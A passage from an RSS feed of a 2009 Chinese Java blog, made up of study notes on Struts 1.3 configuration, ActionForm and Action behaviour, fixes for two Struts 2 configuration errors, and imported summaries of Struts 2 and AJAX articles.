GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304191.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304191.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304191.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304191.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304191.html</trackback:ping><description><![CDATA[<p>DynaActionForm 配态form<br />
1 配置动态form属性&lt;form-property&gt;name属性,type属性类型,primitive type必须使用包装类型。<br />
&lt;form-beans&gt;<br />
&nbsp; &nbsp;&lt;form-bean name="addStudentForm" type="org.apache.struts.action.DynaActionForm"&gt;<br />
&nbsp; &nbsp;&nbsp;&lt;form-property name="sname" type="java.lang.String" initial=""(初始值)&gt;&lt;/form-property&gt;<br />
&nbsp; &nbsp;&nbsp;&lt;form-property name="birth" type="java.sql.Date"&gt;&lt;/form-property&gt;<br />
&nbsp; &nbsp;&nbsp;&lt;form-property name="major" type="java.lang.String"&gt;&lt;/form-property&gt;<br />
&nbsp; &nbsp;&nbsp;&lt;form-property name="score" type="java.util.float"&gt;&lt;/form-property&gt;<br />
&nbsp; &nbsp;&lt;/form-bean&gt;<br />
&lt;/form-beans&gt;<br />
2 配置action标记<br />
&nbsp; &lt;action-mappings&gt;<br />
&nbsp; &nbsp;&lt;action path="/addstudentform" <br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="com.yourcompany.struts.AddAction" <br />
&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="addStudentForm(form的名子)"&gt;<br />
&nbsp; &nbsp;&lt;/action&gt;<br />
&nbsp; &lt;/action-mappings&gt;<br />
3 获取页面的值：<br />
动态ActionForm其实是把页面的html元素的名字和值放到名字和值放到map中，所以通过get方法可以取出相应的值<br />
(1) String sname=(String)addStudentForm.get("sname");<br />
&nbsp;EL：&nbsp;&nbsp; ${dynabean(addStudentForm).map.prop}<br />
(2) String sname=(String)addStudentForm.get("sname");<br />
动态ActionForm的验证，通常使用动态验证框架validator</p>
<p>属性名及类型一致才可以拷贝<br />
可以通过BeanUtils.copyProperties(userbean目标对象，form源对象)方法进行对象的复制<br />
</p>
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304191.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:10 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304191.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-基础及原理</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/29/304179.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Sun, 29 Nov 2009 14:59:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/29/304179.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304179.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/29/304179.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304179.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304179.html</trackback:ping><description><![CDATA[<p>网站struts.apache.org<br />
实践步骤：<br />
1 搭建环境<br />
&nbsp; (1)导入jar包<br />
&nbsp;&nbsp;&nbsp;&nbsp; 使用其中相关的类(可将所有jar全部导入)<br />
&nbsp; (2)建立一个配置文件：struts-config.xml<br />
&nbsp;&nbsp;&nbsp;&nbsp; 作用：方便struts用户使用<br />
&nbsp;&nbsp;&nbsp;&nbsp; 位置:一般放在WEB-INF下<br />
&nbsp; (3)配置web.xml<br />
&nbsp;&nbsp;&nbsp;&nbsp; 注册struts中心控制器-----ActionServlet<br />
&nbsp; &lt;servlet&gt;<br />
&nbsp;&nbsp;&lt;servlet-name&gt;action&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&lt;servlet-class&gt;org.apache.struts.action.ActionServlet&lt;/servlet-class&gt;()Navigate下Open Type输入actionServlet复制目录<br />
&nbsp;&nbsp;&lt;init-param&gt;//读初始化文件的信息<br />
&nbsp;&nbsp;&nbsp;&lt;param-name&gt;config&lt;/param-name&gt;//参数名<br />
&nbsp;&nbsp;&nbsp;&lt;param-value&gt;/WEB-INF/struts-config.xml&lt;/param-value&gt;//文件名<br />
&nbsp;&nbsp;&lt;/init-param&gt;<br />
&nbsp;&nbsp;&lt;load-on-startup&gt;0&lt;/load-on-startup&gt;//服务启起就实例化，0最早<br />
&nbsp;&lt;/servlet&gt;<br />
&nbsp;&lt;servlet-mapping&gt;<br />
&nbsp;&nbsp;&lt;servlet-name&gt;action&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&lt;url-pattern&gt;*.do&lt;/url-pattern&gt;//对所有的do请求都作处理<br />
&nbsp;&lt;/servlet-mapping&gt;<br />
&nbsp; 注意事项：<br />
&nbsp; struts配置文件的位置<br />
&nbsp; 预先加载控制器<br />
------------------------------------------------------------------<br />
2 建立ActionForm<br />
&nbsp; (1)建一个Bean类，继承org.apache.struts.action.ActionForm<br />
&nbsp; (2)注册，修改配置文件struts-config.xml<br />
&nbsp; &lt;form-bean&gt;<br />
&nbsp; &lt;form-beans&gt;<br />
&nbsp; &nbsp;&lt;form-bean name="变理名" type="类全名"/&gt;<br />
&nbsp; &lt;/form-beans&gt;<br />
&nbsp; 意注：struts-config.xml文件中&lt;form-beans&gt;和&lt;action-mappings&gt;的顺序不能变，有DTD约束规定。<br />
------------------------------------------------------------<br />
3 建立Action<br />
&nbsp;(1)建立一个类，继承org.apache.struts.action.Action。重写execute方法<br />
&nbsp;&nbsp;&nbsp; 需要强制转型<br />
&nbsp;&nbsp;&nbsp; LoginFrom lof=(LoginFrom)form;<br />
&nbsp;&nbsp;&nbsp; 调用其它模块<br />
&nbsp;&nbsp;&nbsp; 跳转(根据关键字，关键字参照该action中forward标签中的name属性)<br />
&nbsp;&nbsp;&nbsp; mapping.findForward("name属性");<br />
&nbsp;(2)注册，修改配置文件struts-config.xml<br />
&nbsp;&lt;action&gt;<br />
&nbsp;&lt;action-mappings&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;action path="指明调用者(JSP)能通过中心控制器ActionServlet找到该Action"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="指明该action类全名"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="该action引用的form的名称"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;forward name="loginSuccess" path="index.jsp"&gt;&lt;/forward&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/action&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/action-mappings&gt;<br />
4 页面访问<br />
&lt;form action="&lt;%=request.getContextPath()%&gt;/login.do"&gt;<br />
-------------------------------------------------------------------<br />
Struts framework的工作原理工科<br />
<img height="373" alt="" src="http://www.blogjava.net/images/blogjava_net/ywj-316/7.jpg" width="577" border="0" /><br />
</p>
<p>1 读敢配置 (初始化ModuleConfig对象)<br />
Struts框架总控制器(ActionServlet)是一个Servlet,在web.xml中配置成自动启动的Servlet。<br />
读取配置文件(struts-config.xml)的配置信息，为不同的Struts模块初始化相应的ModuleConfig<br />
对名：ActionConfig,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ControlConfig,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FormBeanConfig,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageResourcesConfig<br />
2 发送请求<br />
请求上传WEB服务器（处理.do的请求）<br />
3 填充FORM(实例化，复位，填充数据，校验，保存)<br />
(*.do请求)从ActionConfig中找出对应该请求的Action子类，如没有对应的Action,控制器直接转发给<br />
JSP或静态页面。如有对应的Action且这个Action有一个相应的ActionForm.<br />
ActionForm被实例化并用http请求的数据填充其属性，并且保存在ServletContext中(request或session中)，<br />
这样它们就可以被其它Action对象或者JSP调用。<br />
4 派发请求<br />
控制器根据配置信息ActionConfig将请求派发到具体的Action,相应的FormBean一并传给这个Action的execute()方法.<br />
5 处理业务<br />
Action一般只包含一个execute方法,它负责执行相应的业务逻辑(调用其它业务模块).完毕返回一个ActionForward对象,<br />
控制器通过该ActionForward对象来进行转发工作<br />
6 返回响应<br />
Action根据业务处理的不同结果返回一个目标响应对象给总控制器,该目标响应对象对应一个具体的JSP页面或另一Action.<br />
7 查找响应(可以是一个Action)<br />
8 响应用户<br />
-----------------------------------------------------------------------------------------------------------<br />
组件<br />
ActionSerlet,Action Classes,Action Mapping(此处包括ActionForward),ActionForm Bean.<br />
Struts中的MVC：<br />
1 模型(Model):本质上来说在Struts中Model是一个商业逻辑类，开发者实现商业逻辑。<br />
2 视图(View)：View是由与控制器Servlet配合工作的一整套JSP定制标签库构成，利用他们可以快速建立应用系统的界面。<br />
3 控制器(Controller)，前端控制器是一个Servlet,它将客户端请求转发到相应的后端控制器Action类。<br />
注意：官方认为ActionForm Bean应为控制层(Controller)组件，自已写的JavaBeans为模型(Model)<br />
-----------------------------------------------------------------------------------<br />
ActionServlet(中心控制器)<br />
&nbsp;定义：继承自javax.servlet.http.HttpServlet类，是中心控制器(总控制器)。它提供一个中心位置来处理全部的终端请求。<br />
&nbsp;作用：接受请求，填充数据，派发请求，响应用户。<br />
&nbsp;配置：在web.xml文件声明。<br />
&nbsp;例子：<br />
&nbsp;&lt;servlet&gt;<br />
&nbsp;&nbsp;&lt;servlet-name&gt;action&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&lt;servlet-class&gt;org.apache.struts.action.ActionServlet&lt;/servlet-class&gt;<br />
&nbsp;&nbsp;&lt;init-param&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;config&lt;/param-name&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;/WEB-INF/struts-config.xml&lt;/param-value&gt;<br />
&nbsp;&nbsp;&lt;/init-param&gt;<br />
&nbsp;&nbsp;&lt;load-on-startup&gt;0&lt;/load-on-startup&gt;<br />
&lt;/servlet&gt;<br />
&lt;servlet-mapping&gt;<br />
&nbsp;&nbsp;&lt;servlet-name&gt;action&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&lt;url-pattern&gt;*.do&lt;/url-pattern&gt;<br />
&lt;/servlet-mapping&gt;<br />
注意：struts-config.xml文件系统默主调用，可以不&lt;init-param&gt;配置<br />
&lt;init-param&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-name&gt;config&lt;/param-name&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;param-value&gt;/WEB-INF/struts-config.xml&lt;/param-value&gt;<br />
&lt;/init-param&gt;<br />
-------------------------------------------------------------------<br />
Action<br />
发出该action请求时初始化，不是在读取配置时，并且只初始化一次。<br />
Action是线程不安全的，因为所有的请求共享一个别action实例。<br />
所以：不要用实例变量或者类变是共享只是针对某个请求的数据<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 注意资源操作的同步性。<br />
应用：<br />
统计一个action访问次数<br />
public class CountAction extends Action {<br />
&nbsp;private Integer count=0;<br />
&nbsp;public ActionForward execute(ActionMapping mapping, ActionForm form,<br />
&nbsp;&nbsp;&nbsp;HttpServletRequest request, HttpServletResponse response)<br />
&nbsp;&nbsp;&nbsp;throws Exception {<br />
&nbsp;&nbsp;synchronized(count){//加锁<br />
&nbsp;&nbsp;count++;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;PrintWriter out=response.getWriter();<br />
&nbsp;&nbsp;out.print("count="+count);<br />
&nbsp;&nbsp;return null;<br />
&nbsp;}<br />
}<br />
<img height="169" alt="" src="http://www.blogjava.net/images/blogjava_net/ywj-316/6.jpg" width="328" border="0" /></p>
<p>----------------------------------------------------<br />
ActionMapping<br />
是对struts-config.xml中action标签中所有属性的封装类。<br />
mapping.getName()(String)<br />
mapping.getPath()(String)<br />
mapping.getType()(String)<br />
String[] forwardNames=mapping.findForwards();<br />
for(String forward:forwardNames){<br />
&nbsp;ActionForward forward=mapping.findForward(forward);<br />
&nbsp;String forwardPath=forward.getPath();<br />
}<br />
相应的set方法不能使用。<br />
-----------------------------------------------------<br />
ActionForward(导航器)<br />
ActionForward对象是配置对象。这些配置对象拥有独一无二的标识以允许他们按照name属性来检索。<br />
name:逻辑名称<br />
path:页面或者模块访问路径。<br />
redirect:默认为false.设为true时为容器外跳转,相当于response.sendRedirect();<br />
在xml文件中的path中要写绝对路径。<br />
--------------------------------------------------------------<br />
ActionForm工作原理<br />
步骤：<br />
(1)检查Action的映射，确定Action中已经配置了对ActionForm的映射<br />
(2)根据name属性，查找form bean中的配置信息<br />
(3)检查Action的form bean的使用范围，确定在此范围下(request,session)，是否已经有些form bean的实例。<br />
(4)假如当前范围下，已经存在了些form bean的实例，而是对当前请求来说，是同一种类型的话，就重用。<br />
(5)否则，就重新构建一个form bean的实例(调用构造方法)，并且保存在一定作用范围。<br />
(6)form bean的reset()方法被调用<br />
&nbsp;&nbsp; 在作数据收集前被调用,是一个重置的方法.<br />
(7)调用对应的setter方法，对状态属性赋值<br />
(8)如果validatede的属性设置为true,就调用form bean的validate()方法。<br />
&nbsp;&nbsp; 该方法进行表单的服务器端验证.<br />
(9)如果validate()方法没有返回任何错误，控制器将ActionForm作为参数，传给Action实例的execute()方法并执行。<br />
注意：直接从ActionFrom类继承的reset()和validate()方法，并不能实现什么处理功能，所以重新覆盖。</p>
<p>&nbsp;<img height="479" alt="" src="http://www.blogjava.net/images/blogjava_net/ywj-316/8.jpg" width="445" border="0" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
注意：<br />
1 无参构造方法必须有<br />
2 Scope缺省值是session<br />
3 调用setter方法，实质上是对应的标准set方法<br />
分析：<br />
4 从过程去查看<br />
HttpSessionAttributeListener<br />
ServletRequestAttributeListener<br />
5 从结果去查看<br />
---------------------------------------------------<br />
ActionForm<br />
reset()方法，用于恢复属性，在重新复值前由controller调用。<br />
valldate()方法，用于校验属性，返回ActionErrors,如果成功返回null,默认返回null.<br />
关闭校验功能设置struts-config.xml中&lt;action&gt;标签的validate属性为false.<br />
validate<br />
----------------------------------------------------------<br />
struts-config.xml文件中的action标签<br />
1 attribute属性<br />
用来存取form的关键字，缺省值与name一样,如果设了必须用该属性。<br />
2 validate属性(action中的属性)<br />
用来控制是否校验表单，缺省为false，false不校验。<br />
3 input属性<br />
当表单校验失败时将请求转发的URL(或目标模块,可以为另一个别action),结合validate属性使用，为相对路径。<br />
在ActionForm类的validate方法中手动添加错误<br />
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){<br />
&nbsp;&nbsp;ActionErrors errors=new ActionErrors();<br />
&nbsp;&nbsp;ActionMessage message=new ActionMessage("error");//应为键值对<br />
&nbsp;&nbsp;errors.add("error",message);<br />
&nbsp;&nbsp;return errors;<br />
}<br />
---------------------------------------------------------------------------<br />
struts-config.xml文件中的&lt;global-forwards&gt;全局跳转标签<br />
&lt;global-forwards&gt;<br />
&nbsp;&nbsp;&lt;forward name="error" path="Error.jsp"/&gt;<br />
&lt;/global-forwards&gt;<br />
使用方式同action中的forwar标签</p>
  <img src ="http://www.blogjava.net/ywj-316/aggbug/304179.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-29 22:59 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/29/304179.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts2 页面转向错误No result defined for action  and result Invalidation</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/20/303071.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Fri, 20 Nov 2009 08:57:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/20/303071.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/303071.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/20/303071.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/303071.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/303071.html</trackback:ping><description><![CDATA[<p>Messages: No result defined for action com.xxx.action.SomeAction and result input <br />
---------------------------------------------------------------------------------------------------------------------------<br />
</p>
<p>症状: action中无法正常进行跳转.<br />
<p>原因: 验证值时验证报错.
<p>解决办法: <br />
1) 给 Action 加入 input 的结果;<br />
2) 去除所有证验相关的拦截器,包括默认的validation<br />
&nbsp;&nbsp;&nbsp;&nbsp; 调试方法:在 input 中加入调试<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;s:fielderror/&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;s:debug /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;a href="javascript:void(0);" onclick="toggleDebug('debug');return false;"&gt;[调试信息]&lt;/a&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可显示下列信息:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Invalid field value for field "attachment".&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fieldErrors {attachment=[Invalid field value for field "attachment".]}&nbsp;<br />
3) Action 不再继承自 ActionSupport(里面有 ValidationAware 接口), 而转而只实现 Action 接口即可.</p>
<img src ="http://www.blogjava.net/ywj-316/aggbug/303071.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-20 16:57 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/20/303071.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts2-error:The content of element type "package" must match "(result-types?,interceptors?,default-interceptor)</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/04/301013.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Wed, 04 Nov 2009 01:31:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/04/301013.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/301013.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/04/301013.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/301013.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/301013.html</trackback:ping><description><![CDATA[<p style="background-color: yellow">&nbsp;大清早struts2的配置文件报错The content of element type "package" must match "(result-types?,interceptors?,default-interceptor-ref?,default-action</p>
<br />
意思是我在配置文件中：<br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">result-types</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">interceptors</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">default-interceptor-ref</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">default-action-ref</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">default-class-ref</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">global-results</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">global-exception-mappings</span></span><br />
<span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span"><span style="line-height: 30px; font-family: Arial; white-space: pre; color: #000000; font-size: 20px" class="Apple-style-span"><span style="line-height: normal; white-space: normal; color: #333333; font-size: 14px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px" class="Apple-style-span">action*(就是所有的action放到最后)<br />
的顺序有问题，仔细检查了一遍也没发现有什么错误，想想是不是action里面的顺序有问题，（<span style="background-color: #00ff00; color: red">action里面的顺序是可以任意放的</span>）最终刷新了一下页<br />
面好了，是IDE在作怪吧，记录一下，以防下次再遇到。</span></span></span></span> 
<img src ="http://www.blogjava.net/ywj-316/aggbug/301013.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-04 09:31 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/04/301013.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Struts 2与AJAX（第三部分）</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300230.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300230.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300230.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300230.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300230.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300230.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 在上两部分的《Struts 2与AJAX》中我介绍了Struts 2与DOJO结合实现AJAX的知识，本文将介绍在Struts 2中使用DWR实现AJAX表单校验。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/08/16/137363.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/137363.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-08-16 18:33 <a href="http://www.blogjava.net/max/archive/2007/08/16/137363.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/08/16/137363.html'>http://www.blogjava.net/max/archive/2007/08/16/137363.html</a>    <img src ="http://www.blogjava.net/ywj-316/aggbug/300230.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300230.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Struts 2与AJAX（第二部分）</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300231.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300231.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300231.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300231.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300231.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300231.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2系列之十四
<br>在上一篇文章《<a href="http://www.blogjava.net/max/archive/2007/06/12/123682.html">Struts 2与AJAX（第一部分）</a>》，我已经简单地介绍了&lt;s:tree /&gt;的一些用法，接下来我将继续深入讲解&lt;s:tree /&gt;的使用和通过DWR实现AJAX校验。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/06/27/126648.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/126648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-06-27 18:33 <a href="http://www.blogjava.net/max/archive/2007/06/27/126648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/06/27/126648.html'>http://www.blogjava.net/max/archive/2007/06/27/126648.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300231.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300231.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Struts 2与AJAX（第一部分）</title><link>http://www.blogjava.net/ywj-316/archive/2009/10/29/300232.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Oct 2009 11:00:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/10/29/300232.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/300232.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/10/29/300232.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/300232.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/300232.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Struts 2系列之十三
<br>在当今——Web 2.0概念铺天盖地的Internet环境下，简易的AJAX集成对于一个成功的WEB框架来说是不可或缺的。因此，Struts 2其中的一个重要的功能（Feature）就是&#8220;First-class AJAX support - Add interactivity and flexibility with AJAX tags that look and feel just like standard Struts tags（大意：一流的AJAX支持——通过AJAX标志增加互动性和灵活性，而且使用这些AJAX标志与普通的Struts标志同样简单）&#8221;。&nbsp;&nbsp;<a href='http://www.blogjava.net/max/archive/2007/06/12/123682.html'>阅读全文</a><img src ="http://www.blogjava.net/max/aggbug/123682.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/max/" target="_blank">Max</a> 2007-06-12 18:31 <a href="http://www.blogjava.net/max/archive/2007/06/12/123682.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div><br>文章来源:<a href='http://www.blogjava.net/max/archive/2007/06/12/123682.html'>http://www.blogjava.net/max/archive/2007/06/12/123682.html</a>   <img src ="http://www.blogjava.net/ywj-316/aggbug/300232.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-10-29 19:00 <a href="http://www.blogjava.net/ywj-316/archive/2009/10/29/300232.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[导入]Strus 